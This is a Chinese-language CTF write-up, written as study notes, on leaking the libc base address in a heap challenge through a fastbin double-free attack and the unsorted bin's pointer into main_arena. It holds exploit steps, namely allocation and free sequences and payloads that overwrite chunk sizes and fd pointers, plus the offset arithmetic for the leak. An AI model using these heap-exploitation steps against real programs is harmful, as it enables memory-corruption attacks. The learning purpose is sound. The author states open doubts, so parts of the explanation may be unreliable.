看了幾天wp才把泄露libc看懂大半部分,有幾個疑點還是不清楚。
這道題是用fastbin attack,但我不知道為什么要這么用,還得多看看資料。
參考博客:https://bbs.pediy.com/thread-223461.htm
參考博客:https://www.cnblogs.com/luoleqi/p/12349714.html
知識點:利用 fastbin attack 即 double free 的方式泄露 libc 基址,當只有一個 small/large chunk 被釋放時,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以實現有限的地址寫能力。
首先
讓你從5個選項中選擇一個命令
這是alloc命令,選擇分配的大小,並且獲得一個index
這是fill函數,選擇index和size,在輸入內容
這是free函數,選擇index來釋放函數
dump函數選擇,index的內容輸出
程序沒有 uaf ,內存被釋放后無法查看其中內容,可以通過 double free 獲得指向 small bin 的 index,將其釋放后 dump 出來。
allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80) free(1) free(2)
查看一下堆
可以看到,塊2指向塊1,由於前面提到的原因,所以我們需要double free來獲取指向small bin的指針
payload = p64(0) * 3 payload += p64(0x21) payload += p64(0) * 3 payload += p64(0x21) payload += p8(0x80) fill(0,payload)
填充塊1,與塊2,並且修改塊2的fd使其指向塊申請的small bin
由於塊2的fd指針指向了small bin當我們free掉small bin的時候,會被當成fast bin給free掉,所以我們需要覆蓋small bin的size,那么通過兩次(因為fast bin是單鏈表)alloc,就可以small chunk放入fast bin中了,在將這個偽造的fast bin給取出來,獲得他在這個程序里的index(不是bin的索引)
payload = p64(0) * 3 payload += p64(0x21) fill(3,payload)
allocate(0x10)
allocate(0x10)
可以查看此時的堆空間中,small bin變成了fast bin
這樣就有2個指針指向同一個chunk了,然后恢復其size大小,在釋放掉(釋放時,是當做small bin釋放的),接着查看對應chunk的index就好了
payload = p64(0) * 3 payload += p64(0x91) fill(3,payload) allocate(0x80) free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
unsortbin 有一個特性,就是如果 usortbin 只有一個 bin ,它的 fd 和 bk 指針會指向同一個地址(unsorted bin 鏈表的頭部),這個地址為 main_arena + 0x58 ,而且 main_arena 又相對 libc 固定偏移 0x3c4b20 ,所以得到這個fd的值,然后減去0x58再減去main_arena相對於libc的固定偏移,即得到libc的基地址。所以我們需要把 chunk 改成大於 fastbin 的大小,這樣 free 后能進入 unsortbin 讓我們能夠泄露 libc 基址。
但這里我有一個疑問就是,為什么他的index是2,是因為覆蓋之后,fast bin所指向的index變成了2嗎,我還不知道怎么查看這個存儲用戶指向的chunk值,還得學一下這個才能明白